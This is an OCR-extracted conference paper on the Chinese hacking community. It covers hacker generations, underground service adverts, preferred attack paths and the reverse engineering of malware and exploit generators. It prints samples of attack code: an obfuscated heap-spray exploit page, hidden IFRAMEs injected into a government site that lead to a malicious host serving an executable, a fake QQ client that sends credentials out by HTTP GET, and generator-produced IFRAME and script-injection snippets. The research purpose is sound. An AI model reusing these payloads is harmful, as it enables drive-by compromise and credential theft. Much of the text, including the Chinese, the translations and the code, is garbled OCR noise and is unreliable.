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Chapter 1

Introduction

1. 1 Abstract

China has become a major player in the security community in recent years. From
numerous news articles regarding government, military and commercial spying,
to high profile cases such as the recent attack on Google, the tools, research and
hacking groups coming out of China are high on everyone's radar. This talk will
provide an analysis of the Chinese hacking community, including its capabilities,
goals, and cultural differences as well as similarities. A deep technical analysis and
reverse engineering of prominent Chinese tools and techniques will be provided
as well. We will highlight specifics such as binary obfuscators, encryption, and
specific stealth techniques in order to round out an, up until now, spotty picture
about this formidable member of the security community.

1. 2 Background

The authors of this paper have been involved in security auditing and penetration
testing for several years. One of the presenters is a native Chinese language
speaker and heavily involved in the Chinese security community and so brings
unigue insights to this paper. The other presenters have been analyzing Advanced
Persistent Threat (APT) [1] style threats for many years and bring this experience
to bear on a problem that has received a lot of recent attention, but little
technical depth. Viewers should walk away with a greatly increased
understanding of the Chinese hacking community as well as some ideas for better
defense, and collaboration.
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Chapter 2

Overview

2.1 Philosophy

This paper will be reviewing several topics of interest regarding the Chinese
hacking community. We will cover the different players, famous hackers and both
the differences as well as the similarities between the US and Chinese security
communities. We will describe different Chinese attack methodologies and
analyze some China specific malware and exploit generators. Based on media
reporting, the Chinese hacking community has had great success and this paper
seeks to discover the reasons for this success.

This paper is focused on the criminal elements of the hacking world, and makes
no statements or assumptions about any government or nation state capabilities
from any side.

This paper intends to understand and not assume, based on hard facts and data,
the Chinese hacking community and its place in the world. Understanding
between the diverse communities and cultures is important because
collaboration can advance the field of security faster and more efficiently.

2.2 Terminology

There are differences in the terminology used by the security communities of
China and the United States. It is important to understand these differences and
the cultural reasons behind them, in order to be able to understand and
collaborate. Here are some common Chinese security terms along with their
translations and background behind the terms:
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A% (Chicken) - A machine trojaned with malware or a backdoor. Culturally
it refers to a chicken is put on the bench, either be killed or eaten. This is
similar to the phrase “like a lamb to slaughter” used in the United States.
This term is equivalent to Trojan Horse.

B #NE /3D (Injected IFRAME/code in Web) — This term refers to
malicious code injected via an IFRAME into a web page.

MR AL /MG (Translated as “Web Trojan”) - It means browser-based
exploit.

%7 (Prevented to be killed) - This term refers to malware which

implements anti-debugging techniques to prevent analysis and
footprinting

BIA (Script) - It means programming scripts.

4 Rzs (Generator) - It basically is a generator produces exploit,
malware and Trojan horse or even 0-day attack in a few clicks and input
basic information.

2. 3 Chinese Hackers (Blackhats, Vendors & Whitehats)

The Chinese hacking community typically refers to itself with the concept of
generations. Each generation of hackers has a group of core famous individuals,
skill sets and goals.

The first generation of Chinese hackers was generally focused on sharing
computer security techniques as well as referencing technology from other
countries and improving upon these technologies. Many of these individuals went
on to become CEOs of important Information technology companies. For
example:

— E1ERE (Huateng MA, Tencent CEO)

— 3K{BZE (Pak Kwan KAU, Kingsoft CEO)
6



— AR (Inventor of Chinese Alphabet Input

Method, B 2AFERIZZEA A) [2]
- FHER

The second, third and forth generations of hackers were much more politically
involved. These generations were active between the years of 1997 and 2002.
During this time there were several internet based conflicts between Chinese
hackers and other countries. Network warfare becomes more popular during this
time. There were web defacements and other types of attacks between
underground hackers from Japan, the US, China, Philippines and Indonesia. Some
examples of the second generation are:

— E.g. ®EF(Yuange) — Vulnerability hunter
— /B (Current: Software and Security Software Developer)
—  #%E (Glacier and XSCAN’s author) [3]

The third generation of Chinese hackers have been involved in various types of
“cyber warfare”. This generation has many individuals which stand out:

. K15 « FEEZSunx
« PRIZELL e Stardust
- BIEAE e Sunwear
. THRAYEE e Sinister
s BINHEIE

e zer9
e xundi

* |ovehacker
* lion

* isno
. KE/NF

o {EE
¢ Doadmin xundi

e Adam




o KA * batman
« Z#E(warning3) + quack

« [REE(scz) « wollf

© FR(PP) * flashsky
* lg_wu

The fourth generation has several has several salient members and groups:
o kM ${F(“Love sealed with Ice and Blood”),

+ & (Huigezi’s author, a famous Trojan system). new4, etc.
* Evil Octal kM #{E [4]

Finally the fifth generation of are much more related to the US term of “crackers”.
This generation is commercially focused and involved in selling tools and attack
services. Many individuals of this generation do not possess the necessary skills,
such as knowledge of C programming, in order to develop their own tools, but
instead use exploits and tools develop by others. There is a wide opinion that this
generation should look back at previous generations to learn productive research
and development methods.

There are also several important Chinese native vendors which are involved with
computer security in some way. These include:

+ Venustech (BBAZR) (UTM, IPS, Vulnerability Scanner, venustech.com.cn,
listed on SZSE)

» Nsfocus (2% 5H)(nsfocus.com) Security research

* Lenovo Hardware
* Topsec — Firewall leader
e Westone(32+3#) (VPN vendor listed on SZSE)
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http://venustech.com.cn/
http://nsfocus.com/

China has a healthy white hat community devoted to protecting and defending
systems, networks and data against attack. China has its own CERT organization
for tracking, correlating and assisting business with potential intrusions.
(www.cert.org.cn). Another important defensive organization for information

security in China is www.infosec.org.cn. This organization provides news on the

latest events in international computer security as well as data concerning
enterprise defense, policies and regulation and user forums.

There are many companies in China involved in computer security services, Anti-
Virus and research. These companies include:

— 360.cn

— Kingsoft (&1L )
— Rising (HR &)
— Jiangmin (IR)
— Knownsec.com
— Antiy.com

— kafan.cn

Finally China has its Honeynet Project located at
www.honeynet.org/chapters/china. The United States has Defcon which is seen

by many as the most important hacker conference, but in China the XCon
conference xcon.xfocus.net/ is where the local security enthusiasts go for the

latest security technology information.

2. 4 Chinese Blackhat Details

Chinese blackhats operate in similar ways to those of the US or other countries
but with several key differences. Chinese blackhats tend to communicate and
collaborate via web forums or by chatting via the popular QQ system, similar to
AOL or ICQ in the US.


http://www.cert.org.cn/
http://www.infosec.org.cn/
http://www.honeynet.org/chapters/china
http://xcon.xfocus.net/

Chinese blackhats often advertize commercial attack services in popular forums
which can be found easily by search engine. These services along with training
portals can be found in various Chinese provinces. This differs somewhat from US
criminal hackers whose services are typically more difficult to find, probably do to
quick law enforcement response. There are a huge number of hacker how-to and
tool sites available in Chinese. While there are many US sites as well, the number
is dwarfed by their Chinese counterparts. However “script kiddies”, or unskilled
attackers are a major component of the population.

Another major difference is that for the most part, individuals have to pay a
membership fee to get access to many tools and exploits, however, it is extremely
easy for Chinese blackhats to get asset servers in China and there is a dearth of
insecure hosts to choose from. Because of this, bots or compromised hosts are
extremely cheap, on the order of 0.1c — 0.3c USD per bot. This make DDoS attacks
cheap and easy to perform.

According to the Chinese CERT there were 2.5 million known Trojans in 2009 than
in 2008 (This is an increase of 5.5 times more). The market for Trojans in China
was 2.4 billion (RMB or 354 million US) in 2009 and the forecast for losses cause
by Trojans in 2010 is around 100 billion RBM, or 14 billion US dollars.

The following figures show an example of a site offering attack services and tools
both in the original Chinese, and machine translated to English:

10



Bai&ﬁl! b & (BR=F ) TARK NS

DEANE OBARS COWFas

LUK > SRR S
RENE VRNEAN

rmcmlE? mn L-n 1 B3 x-n BER
IR TR I B2 GOy B IR B R R o O eeseR

SRR I A\ B QOUMININE IG MRS AN
MAEBE RN KM SRR R SRR
B ACKA B AL A 60 SBE A S0 NORIITEN A B2 A2 MRS AR
ANMUSLNG U0 IO N AL ML B DOSIUE COZCNE ISR VRN BUEL AN,
ENE TR IPCRE MROG NSINHE SER AR NGy B33 A UE RO e
Yelutsiijrend BEN AN RPN AR RN AT
+2En EMNIT VBIHT VC+=M8 1 Delphif il 8GR oo+ 20T S0 ASPRIFUNA! SRS AN @i

1 My AL DL A R TN AN M XIS AR A0 RE B 2 S

S0 MR MR DR A R TR RN R CAL S ATEHIERE R N SN R R TN RitE Sians
mEfy

RIS PO AL RLRIR PR AR %
qq 859016227

Fig. 1 Chinese hacking services advertisement
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Cheng access servicess computer intrusion to take 1o change seb-station plug-site production of more r d hackers Daoh, 0 eRsER
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Froe 1o kill production, network intresdon hoese husg horse hung borse tung QQ pace speead Trojan horse video
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Desective [T remose contrel ip port overTlow antick vuloerability seanning volume sweep swoep Oickos Chiicken Astack Double open 3389 account openieg ige
botubebhjrmd ut to steal broadband
+ X0 Ammation softwace crack crack plug-game remote coatrol crack crack crack Trojan Trojan
E brguage VB language VO + « language Delphi lmguage progs 2 ¢+ + programming lmgeage compiation of ASP pages 10 write wftware plug-in cud
om writeen Trojess.
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d 50 the jounsey Andition

Plug Mir Lepend of Frstisy Westward Jowney Yulgang rumored Dungeca Deagon Warrior Swoedsman MOYU miracie Batw mked Zha Ximn Audition world j
oursey Xar game World of Warcrall, sad all oder extemal production

Hackers recruit sudents develop plug-in plug-written Trojan attscks sd the invasion crack
4 859016277

Fig. 2 English Translation

11



Here is another hacking services advertisement text with translation. This text
can be used to search for other similar services or websites:

HEAR REZAR EAPCHE AR EiEZEH RFSFBE FARKE K5
WifiZ, HIHWEAE RIEEE IR T2 ERM INHMEE. SEMHAR MubEek
WEARE RFEAKRE MRz KERS RiGHE S E XA RE BiL
AR BUEEEI QQF I AZ !

And the translation:

Cracking web site, server, personal computer,installing remote control and
attack server, crack password, remote control with“Gray Pigeon”, how to get
zombie/victim, software cracking, Trojan for game (with anti-debugging
capability), packing/unpacking, programming Trojan, source code selling,
professional cracking of mailbox password, database intrusion, crack QQ
password!

A further example including contact information:

ABARERFOEQQ KE SLAFHRDHEBERERE, AaFEMELEMN
b B HE S - QQKRE | BERIARE | FARMA | HBisizF | RETE| (
2R ARBEE REHEQQEMZFEWAE. RARFIGIEAZ MLk
B AR FHEEE AR EN R F AR - MSN, QQ (RIEEBLETRINIR R
RECER) . FHE (RIEFE@ELCH 0N E) . Bt (B, BREFEA
HEEE, RARNMZE X, ZEfE, MERIER, EEREERERIBGHAE,

WAEERFHEmMS AREGENHE, REREEH, ABRE —X
18, BRAEZH ' QQ8+5+9+0+1+6+2+2+7

Accept deals of making Trojan for various games and hacking tools (with anti-
debugging and killing capability)

Cracking cellphone and steal chat history and SMS
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Cracking password of RAR, membership software for football betting, stock
trade, various game software

Steal MSN and QQ chat history

The fee of cracking depends on its difficulty; If you purchase our hacking tools,
you could enjoy life-long upgrade and renewal once you have paid it! Please
call QQ 8+5+9+0+1+6+2+2+7.

2.5 Chinese Hacker Preferred Attack Paths

The attackers and attack methods reviewed for this paper revealed some
common goals and preferred attack paths widely in use by Chinese attackers. The
generalized goal seems to be to steal certain types of account credentials such as
QQ as well as game accounts. Another goal is to simply gain control of large
numbers of computers such as botnets and user’s camera systems for criminal
mischief type spying.

The typical paths seen by the authors of this paper commonly in use by Chinese
hackers are often client side / web focused, as well as phishing using file format
exploits such as PDF.

The typical flow is for the attacker, or some other developer, to create a Trojan
tool for command and control of victim systems. Then existing exploits that are
known are reused. Often exploit packs are created which provide a simple,
standardized interface to a tool which takes a URL as a payload variable,
generates shellcode which downloads and runs the payload, and outputs a series
of web pages containing the finalized exploit.

The attacker then simply has to upload these pages to a controlled web server,
and direct victims to it via spam, injected IFRAMES, or other means. The use of
IFRAMES to direct victims to malicious sites in the background of the browser is
highly common. Often these IFRAMES are injected into user’s trusted sites by
means of an SQL injection exploit tool, or other similar technique.

13



Chapter 3

Chinese Malware

3. 1 Reverse Engineering Methodology Overview

The authors of this paper followed a specific methodology when analyzing
samples of Chinese malware and tools. The focus of this analysis was to compare
data between samples, payloads and exploits in order to gain an overall picture of
the community, its sophistication, code reuse and sharing, etc.

The authors relied on non-vmware virtualization systems in order to evade many
of the simpler and more commonly in use virtualization detection methods.
Much of the reverse engineering was automated to limit the expensive analyst
time needed to review the samples. This automation included dynamic API
logging which essentially captures all functions as they are called and logs any
arguments passed to them.

This provides the analyst with all file and registry modifications, as well as process
creation and any accessed URLS. Similarly the authors tapped the network of the

automated virtualization systems in order to capture any network traffic packets,
or useful payloads, protocols, etc.

Some minimal automated static analysis was used to gather information such as
strings, checksums, file types, imports, PE header values and resources.

3. 2 Interesting Findings

Finding 1

While analyzing a particular malicious site, several script variables were
located which were defined using Mandarin and Putonghua transliterated
pronunciation.

Here is the transliteration of variables:
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— Kongshoudao - ZF &

— Hehehahi - IEZIEI5 4

— woyouyizhixiaomaolv - 5 —& /N EEE
— conglaiyebuqi - &Rt ARFEE

— youyitian- H—X

— woxinxuelaichao - [ Ifn 2 ;&

— kuaishiyongshuangjiegun - R{& FHE£ &11R
— xuyaoni - EE(FR

— taiquan - 8%

The following figure depicts the source code of the malicious site and shows
the aforementioned variables:
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Fle EG Foemat View Help

<html>
<body>
2 EEM
var appllaae >
<button fd="Kongshoubao" onclick="xuyaoni():"™ STYLE="DISPLAY :NONE™></button>
<script sre="mp.js"></script>
<script language="javascript™s
var hehehahl = "¥u2b60%uSd38XU206a%uBd58¥UCS 7 cXus 700Xub0bi%ul3b3Xubs0frudacakuf eeh¥uBacoXu0s 54%u02 00XUNFdaXuf3be%u 74 8aku003 SXUT4 BBXUO00 5%uSe
Pl beb%uz1 F1%u22 98%uaof 6Xu0783%ubdd2Xu0eld Kudsd Sxu7fF cXuba30Xul 3F 7Xub00dXu63 5 3%uad 6a%ue3 51 Xud3d7%u284 cXu3 bad Xuld d3Xufbe 7%ud 96 2%u4 768%uf a3 0%y
04 XUf1b6Xu3 784 Buad 51 XuafOfLu3 SaeXud ¢c S%u293bXu7ba7ude 7 7Xue af Fiud 6f eXudf87Xua2b7Xud6abXu7 5 76%ul SbekisoB3eXufd 75%u3 23 S%udb (Xuc3 el%ul aciXul ee
2254%u5 SdeXub06bXu703 cXub 531%ud 362%ud8 5 aXu3 4 7¥ueedoXuQc cakuo2dSxu S 54 3%u0632%u31 5 6%ue §91%uc36 5¥uf df  Xud 760%u34 d0Ru3 cBIXUAI2 e%ud 292%d 544 %uba
var woyouyizhixiacmaoly = ;:oc'roor.(hehenahi);m*
var congladyebugi = new array()
var youyitian = 0x86000 - woyouyizhixiaomaolv. Jength*2;
var woxinxuelaichao = nicxa+ 0c0"+"c snicxa+ "0c0"+"c";
var kuaishiyongshuangjiegun « xooxoox(woxinxuelaichao) g _s’ \ m

while(kuaishiyongshuangjiegun, length < youyitian/2) kuaishiyongshuangjiegun +ekuaishiyongshuangjiegun; EE ﬁ
var pp = kuaishiyongshuangjiegun.substring(0, ypu ¥?.1' n/2): m Qﬁﬁ E
delete kuaishiyongshuangjiegun; %Y_E

for (1«0;1<270;9+4)

{
conglaiyebuai[1] = ppeppawoyouyizhixiaomaolv;
i E S

function x-;y.;.y.i()#%{,f!!
{

var tatquan = document, createklement("BoDY");
var sss="hd";

tatquan, addeehavior (“#defaultduservata”);

var tt="hb";

document . appendChild(tadiquan);

try

( %

for (1+0;1<10;144)

talquan. setateribute’ s, window);

catch(e)

var as«"v'";
window. statuses'";

Fig. 3 Malicious site with variables

As it turns out these variables are the lyrics from songs by the artist known as Jay
Zhou. A de-obfuscated sample of this particular malicious site can be found at:
Sample:
http://isunpack.eyeprotectiongroup.com/dec/go?report=c90f1f286b7274558971
59bbb9ce282ddf7e051d

The fact that there are embedded song lyrics, potentially tells us several things.
One it helps to confirm that this attack was created in the geographic region
assumed. It is unusual for attackers from one country and language, to take lyrics
from a popular song in another country and language and embed them in their
attacks. Secondly this tells us a little bit about the attacker and their potential
musical preferences.

Finding 2
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http://jsunpack.eyeprotectiongroup.com/dec/go?report=c90f1f286b727455897159bbb9ce282ddf7e051d

The authors of this paper also analyzed a sample of a fake QQ client. QQ is a form
of instant messaging popular in China and similar to AIM or IQC. The MD5 sum of
this particular sample is: MD5: 11125805085ee720d53954d7e27073dc.

The following figure depicts a screenshot of the malicious QQ sample:

oV .oy

HERY HEER

WS v @ jjjj v | PEKS

wWsB = 5] s7=me
RE: ekg v []B83hER

FE=IIE-T =

— —

Fig. 4 Malicious QQ Screenshot

This particular sample would not only provide access to the QQ network, but it
would also make a connection to a Chinese government website on port 80 and
perform and HTTP GET which includes the username and password of the victim.
This allows the attacker to simply review web logs and harvest QQ accounts. The
following figure depicts a screen shot of this credential capturing network

connection:
| Frament. Reconstructed file path Source host S. port Destin...
| B C:\Documents and Settings\malwa... 218.3.122.66 [www.ip138.cn] TCP 80 192.168...
20 C:A\Documents and Settings\malwa.., 218.3.122.66 [www.ip138.cn] TCP 80 192.168...
50 C:\Documents and Settings\malwa... 61.130.101.40 [yge-Ingy.nbyz.gov.cn] TCP 80 192.168...
D. port Protocol  Filename Size Timest., Details
TCP 1440 HttpGet.. index html 48588 6/29/2.. /
TCP 1441 HttpGet., index[1].. 48588 6/29/2.. /
TCP 1443 HtpGet.. zhuzaia.. 8B 6/29/2.. /admin/D atabackup/zhuzal asp?usersjji&pass=g0aa%20%20%20%20...

Fig. 5 Malicious QQ Network Connection
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A likely scenario is that this government site was a victim of the attack as well and
simply used by the attacker as an innocuous looking call home address to harvest
credentials. This particular government site was also infected with malicious
IFRAME’s that direct the victim’s browser in the background to a collection of
flash and other exploits. The following figure shows these IFRAMES as displayed in
the MonkeyWrench [5] analysis tool:

HTML http://yge-Ingy.nbyz.gov.cn/

MIME-Type: text/html HTTP-Response: 200
& P 61.130.101.40 &N MD5: d94711eecef753817a(
s <iframo src=htip://www.cagqw.net/cngqwadmin/Databackup/moma. htal widthe0 helghtsi></iframe><iframe sro~htip://www.cngqw.ne
® J  <script language«JavaScript®™ types"text/JavaScript>
-
-~
Y function MM_jumpMenu(targ,selld),restore){ //vi.0
@

eval(targ+”.location +sel0bj.options|selOb).selectedIndex ). values

if (restore) selObj.solectedIndex+0;

</script>

<IDOCTYPE htal PUBLIC "-//WIC//0TO XHNTML 1.0 Transitional//EN" "heetp://www.wi.org/TR/xhtall/OT0/xhtall-transitional.ded™>
<html xalas»"hetp://www.wd.org/1999/xheal ">

<head>

<mota http-oquive"Content-Type” coatents"text/himl; barsd gb2312" />

Events:

"activeX.Shockwaveriash.Constructor (ActiveX Shockwave Fliash)

¥ActiveX.ShockwaveFlash.Coastructor (Acti

®un.. Ifrane . Invisible

htep://www,enqqw. net/cenqquadain/Databackup/muna . htal

Sune, frame. Invinible

®an, Ifrane. Invisible

Fig. 6 MonkeyWrench Analysis

The next figure shows a detailed view of the IFRAME redirects. There are both
exploits in the swf file format as well as malicious executables named 1.exe.
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1 $%m%2010-6-25 21:21 | RESEH S M FEoe T T AFEE Ben

FERRSIERSERMH2010 | FEFREEWNSRMN2010 | FEFRFUTSVNY | FEFRARZHESBRAR
THERNEE, R E28EARE

http://yge-Ingy.nbyz.gov.cn
<’ gov , nbyz

Log generated by yexingyu use mdecoder 0.62
[root]http://yge-ingy.nbyz.gov.cn/(HE R BEF L)
[explhttp://www.cnggw.net/cnggwadmin/Databackup/muma.htmi(Exploit.Mpeg2.c)
[script]http://www.cnqqw.net/cnggwadmin/Databackup/darkst.png
[virus]http://www.cnqqw.net/cnqqgwadmin/Databackup/1.exe
[explhttp://www.cnggqw.net/cnggwadmin/Databackup/muma.htmi(Exploit.Mpeg2.c)
[virus]http://www.cnqqw.net/cnqqwadmin/Databackup/1.exe
[flash]http://yge-Ingy.nbyz.gov.cn/image/007.swf
[exp]http://www.cnggw.net/cnqgwadmin/Databackup/muma.htmi(Exploit.Mpeg2.c)
[virus]http://www.cnggw.net/cnggwadmin/Databackup/1.exe
[flash]http://yge-Ingy.nbyz.gov.cn/../image/topan.swf
[flash]http://yge-Ingy.nbyz.gov.cn/image/zhanshi.swf
[explhttp://www.cnqgw.net/cnggwadmin/Databackup/muma.htmi(Exploit.Mpeg2.c)
[virus]http://www.cnqgw.net/cnggwadmin/Databackup/1.exe
[explhttp://www.cnggw.net/cnggwadmin/Databackup/muma.htmi(Exploit.Mpeg2.c)

[virus]http://www.cnggw.net/cnggwadmin/Databackup/1.exe
A

Fig. 7 Detailed View of IFRAMES

Here is a diagram of the attack to help visualize its flow:
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Fig. 8 Attack Flow

Finding 3

The authors reviewed a particular implementation of the recent CVE-2010-1297
exploit which involved mass spreading of injecting malicious IFRAMES by means
of an SQL injection exploit. The Amorize team performed an in-depth analysis and
highly valuable analysis of this attack. [6] This analysis included a very well done
chart which lays out the various components of the attack.
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Mass SQL Injection visitor counter

‘ entry
2677.in/yahoo.js 2677.infenzz.html
L l
2677.infiehtml cnzz.com/stat.php
JIT spraying
/ v exploit
2677.infanhey.swf — <div id=sun
v
r’/’sp’ra_\l/ shellcode loader
v
trick 2 I shelicode
2677.in/log.txt
malware
M dropper botnet command
2677.in/log.exe D — iamcome.in/u.txt
v p/wstealer

2677.in/ma.exe

online game accounts

aion.plaync.co.kr ‘ aion.plaync.jp df.nexon.com |

Fig. 9 Amorize Team’s Attack Chart

Within this attack, there is a file called ie.html. Contained within the source of this
file is the following code:

document.write("<embed src="anhey.swf' width='0" height='0'></embed>");

The Chinese characters for “anhey” are BF#&. A quick google search shows an
interesting looking site:
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anhey g2
¥9% 15,100 BEE (B 0.168) £EEE

BERZEEL : anhe
anhey (anhey) on Twitter ~ -[EZ 5]

| am a Sinner, and Jesus is my Savior! :D +-Life's a Climb, but the View is GreaT!*_*
twitter.com/anhey - EE7FiE - BLAE

T¢4 55 - [Q&Mﬁ]

BEIHESFND. MSEHRE. NoSHRE. BERR, fashf3, A3RE. 0dayH
I, exploitt ME=R. 2F%HE. REIE. BETESEAZR!

www.anhey.com/ - SEFIE

This particular site contains a large collection of attack tools, including several
tools titled “Oday Exploit Tools”. These tools are publicly available to anyone who
can locate the site. The organization even boasts a sales hotline for customers
requiring assistance.

AER NAZR BREE @ JAMBENTHA
\?—, L) B
culeqq.com w-pmoq  «misss OEEE womEKAARASRRERATRNAL
- ex RIUIY EEAR Wm0 SEm o Wm
RN EREIRE RN IR, AR SHRARE LR, LSAR!
MRIA REINR
. EiMFlash 0Day Exploit Tools . ERMVIP2010HNRTRRE
. EMVIP2010 DEMOJE « FMRVIP2009 A NN TER
REEN ; 2010-0518 DS - 2010-05-25
« ER2010PEN A MEUS(RN) « BRRL2HFverl.1
RELEN © 2010042 R/EEM © 2009-07-18
. BEMIE 0day Exploit Tools (1E6. 7) . ..X#mﬂ'vl 1
SAEM - 2010:03-12 ! X09-06
. BEERWindows Animated Exploit (Oday) . BRBEHREvL0
REEM - 2010-01-28 QAR - 20090523
« BiRIE Aurora Oday Exploit Tools . Il!lhllﬂllvaz 1
QEEM | 20100126 RAEERW - 20030523
. HRYANREver2.6 . BRIRASNver2.2
K|EEW © 2009-12-06 SEEN 200052
- HRESMHFRENEEver2,5 . II‘EBﬁIKEVMVZ 0
BELOW - 2009-09-18 QA EE | 2009052
. BEiMQuiksoft EasyMail 6 Exploit Tools o
RSN 2005-09-18
. IlMobe Flash Player 10 Oday Exploit Tools
W 2005-08-19

Fig. 10 Exploit Tool List
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The author’s obtained copies of all the tools available on the site and performed
some analysis of their functionality. Most of these tools have a common GUI
interface and are exploit generators. Generally they contain a text input filed
where an attacker can place the URL to an executable payload. Once the attacker
inputs this information and hits go, the tool will generate a single, or a collection
of files the attacker can use for deploying the exploit. The following example
could be found at
http://down.giannao.com/space/file/qiannao/share/2010/4/22/AnHey2010.rar/.
page at the time of the writing of this paper.

® RS [Vip2010 Provisional Edition 5] DEMO

NI |

Bttt (http:// B EERUEEENR

EHRE | B EEEEREEE!

> | TIBEMEI AnHey.com

[ st SheinE WA WAT AR EEEE

» | SR AnHey.com

[[Ms office [ |Ms06014 [ |Ms08011 [ |Ms08053 [ |Ms09002 [ |Ms mpeg-2

[[Ms09072  [JiIeAurora [ JIE ActiveX [ Jrirefox 35 [ JFlash 10 [TMs10018

[TJstorm 2009 [ JGiworld 2 [ |Thunder 5 DReaIpIayer DRealplayerll [TJrlash 9

BE5HE—#EQQ:443816808 (Ul —{LiRFIR)
CopyRight (c) AnHey.Com All Right Reserved. 434 [RZDURBSET B LT ERNN 51K - R -

Fig. 11 Example Exploit Generator

Some of these tools provide evasion capabilities such as packing, anti-virus
bypass, etc. There are even instructional videos that walk the user through all the

23


http://down.qiannao.com/space/file/qiannao/share/2010/4/22/AnHey2010.rar/.page
http://down.qiannao.com/space/file/qiannao/share/2010/4/22/AnHey2010.rar/.page

steps to use these tools. The following figure shows the tool displaying source
code for deploying the exploit:

® s RAZE [ Vip2010 Provisional Edition 5] DEMO

L} B2 |

[ » Ll e

B omMEmaa
Gifrane sro=iBEE width=123 height=1></iframe>
! a
145 )= HERIEIA
LI E s
document. write ("Gfrane width=' 123" height="1" sre’ B >V iframed”);
ElGxxx. )5
t1:E:
{seript language=javascript sre=x. js>{script>
CysWtEREE
<SCRIPT 1 uu"g;cny( Encode” sre=http: //www. xxx. com/muma txt>seript
uunt tx(
lﬁ body!®
<ody onload="vindow. location=’ W}’ ; "> body>
|3 REEA

top. document. body. innerHTHL = top. document. body. innerHTHL + "Ar\nd frame
src— “hetp: /fwww. xxx. con/nuna. htn/ ">/ iframe ;

A

WHE—WEQQ:443816808 (VU —{, IBEH4ER)

CopyRight (c) AnHey.Com All Right Reserved. SHJREA SRS - BRI -

Fig. 12 Source Code

Another feature of this particular exploit generator is the ability to obfuscate
javascript used in the exploit deployment code. In this case the tool is providing
fairly standard and unsophisticated Char encoding which is easy to decode, but
still effective in evading certain types of personal security products and untrained
individuals who might attempt to view the code.
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® FERE [Vip2010 Provisional Edition 5 ] DEMO

NI |

B R iR RS T

<script>
IS Ereens I t="60,115,99, 114,105,112,116,62,13,10,116,61,34,34

13,10, 116,61, 101, 113,97, 108.40.34.83_ 116,114, 105,
VBSEEIEES  |1110 103,46.102, 114,111,100, 67, 104,97, 114,67, 111,10
VBIBEEEE | [0,101,40,34,43, 116,43, 34,41,34,41.59, 13,10, 100, 111

,99,117,109,101,110,116,46 K19, 114,105, 116,101, 40,
R 116,41,59,60,47,115,99, 114, 105,112,116, 62"

foRRRE: t=eval{"String. fromCharCode{ "+t+")");

ErEIAe g document .write{t);</script>

IBREFERT
BRREERERET
EHIRIZ (HEIRET

SRR EREI T
FRAEEREH

ESHE—HEQQ:443816808 ({Ult—\7 J2RHHHIR)

CopyRight (c) AnHey.Com All Right Reserved. ZBikEA 2RIKS - T -

Fig. 13 Script Obfuscation

The following figure shows one of the exploit generation tools in operation. This
tool has the ability to deploy various exploits such as mpeg-2, Flash 9 & 10, and
Firefox 3.x specific exploits. In the background the output of the tool can be
viewed. Several HTML documents as well as a Shockwave Flash Object are
created. These files need only be uploaded to a web server for the attacker to
begin to compromise users. Examples of the outputted source can be found in the
appendix.
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8 SkaoP? WTL 41 SSTEE EENESSE 200611 _EF et
gjeo 4KB BTML Document 010620 FF 0542
Q}ll 2KB8 HTML Document 2010029 T 05.42
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e BKE IEC E® 2010529 T F 05:42
E’: *p 2KE Zhookwsve Fach Ob 20100/22 FTF05.42
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VERaTm VISR E W VSRR
Negn
M office Ms sapeg-2 Msl0002 Msl0.0128
Ms Ansisated Fuefox 3.x Fiwh 9 © Flwb 10
nen
'R [-® ] & |

Fig. 14 Generator Output

3. 3 Further Analysis of Anhey Samples

Taking a deeper look into the tools, the authors discovered several interesting
points. Most of the tools are distributed as RAR files and some of these files

include contact information in the form of a QQ account. (QQ:443816808). On
several of the RAR files the file modification dates can be seen. In some of the
Oday cases these dates appear to be before the public disclosure of the Odays.

This indicates that this group is aware of non-public Oday’s and has generalized,
script kiddie usable, tools, before the Odays are publicized. The following figure
provides some examples:
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Fig. 15 Contact Info and Dates

Nearly 20 exploit generators from anhey were examined in the course of this

paper. Most were packaged with the same DLL which was determined to be a

skin/gui library. The details of this file are:

MD5: 7140b0e89212d8e712c7dc47e3cae60d
File Name: SkinPPWTL.dII
Date Modified: 2008-01-01

File Size: 548,944

The ahz2.5.rar exploit file contains a dll of the same night but with slight

differences. This shows that the developers of this particular exploit generator

reuse code and in some cases it can be seen that even though a newer version of

the skin is available, sometimes older versions are used. This type of information
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could be helpful in developing “signatures” to help determine attacks from one
generator group vs another.

The details of the other skin library are:
— MD5: 208dc023e42b142a892403198f5f4e8¢
— File Name: SkinPPWTL.dII
— Date: 2009-09-26
— File Size: 602,112

We performed a comparison, using Halvar Flake’s excellent BinDiff [7], of the two
skin libraries to determine if there were any major differences.

* Both files have 411 imports

* Both files have 75 exports

* The older DLL has 3920 total functions

* The newer DLL has 4073 total functions

* Some functionality has been added

e E:\work2\SkinPPWTL_Builder\SkinPPWTL\Release_Demo\SkinPPWTL.pdb
* Simple skin builder program

il T =L

15972 L apan | Turcien LA odes | Edge | Coir Frcie Mars.
ETEETEET WMaT | o ] wdh, 1OBOUCTY
. 1 o

ey

-----

OOt

o KATT M T CO0SLIRT  LOCRIERT: et

Fig. 16 BinDiff Screenshot
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We then took a look at the files to see if there was any useful information to be
discovered. By looking at the resources section of the exploit generator
executables as well as the DLL files we found that the authors provided some
information just like legitimate software companies.

(. SkinPPWTL.dIl - XN Resource Editor =] B3
file Edt View Resource Strings Help
RIERA WA %)
= (= lcon Group Product Version | 2.1.0.0 Name | value
= = 101 ' File Version 2.1.00 Cornments ,
= [ Chinese (PRC) Debug | Fale. sy Pitp: v shrplusphscom
() 16x16 24 Bit C... | Inferred | False FileVersion 2,1,0,0
[ 32x3224 Bt C... | patched False InternaiName SkinPPWTL )
() 48x48 24 Bit C Fre Rel "False LegaiCopyright MURBAA(C) 2004-2005 LB BRRHAPRAT)
= = 102 o LegalTrademarks
i - Private Buld False OriginalFilename SkinPPWTL.dl
= [ Chinese (PRC) “SpecalBuld | Fake PrivateBuild
() 48x48 256 Colour | ——————— | Producteme SKPPWTL
) 32x32 256 Colour ' ;ﬁ;’d;;‘m 21,09
[ 16x16 256 Colour
QAH_IE_ODAY.exe - XN Resource Editor — - [QL)_(J
File Edit View Resource Strings Help
J2-0 55
- = Icon Group Product Yersion | 1.0.0.1 Name | Value
B =128 File Version | 1.0.0.1 i Eomment;a
. I . - ompanyName
| - Iﬂ Chinese (PRC) Debug Fakie FileDescription Cuteqq Software Team
= = Version Inferred | False FileVersion 1,091
B E patched | False Internaiame
5] Chinese (PRC) PreRe Fd” t:gﬁ:ﬁg:ks CopyRight (C) 2010 www.anhey.com
Private Buld | False OriginalFilename IE-Oday.exe
cmcdbad | Fase | Privatesuid
pechiod | Productiame R 0AVRIB RS
ProductVersion 1,0,0,1
SpecialBuild

Fig. 16 Resources

The above figure shows that the exploit executable was likely developed by the
